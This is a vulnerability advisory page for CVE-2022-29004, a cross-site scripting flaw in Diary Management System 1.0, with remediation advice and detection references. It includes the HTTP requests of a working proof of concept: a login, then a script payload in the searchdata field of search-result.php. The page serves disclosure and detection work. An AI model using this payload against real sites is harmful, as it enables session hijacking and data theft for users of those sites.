🔙 목록으로 돌아가기

CVE-2022-29004: Diary Management System 1.0 - Cross-Site Scripting

TitleDiary Management System 1.0 - Cross-Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
RemediationTo remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score6.1
EPSS Score0.36016
CVE IDCVE-2022-29004
CWE IDCWE-79
Tags cve2022 cve xss authenticated edms phpgurukul vuln

🔍 Vulnerability Description

Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.

🌐 HTTP Request

POST /edms/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Content-Length: 45
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

logindetail=Bqx3iG&userpassword=M5z8P8&login=
POST /edms/search-result.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

searchdata=<script>alert(document.domain);</script>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29004.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29004.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A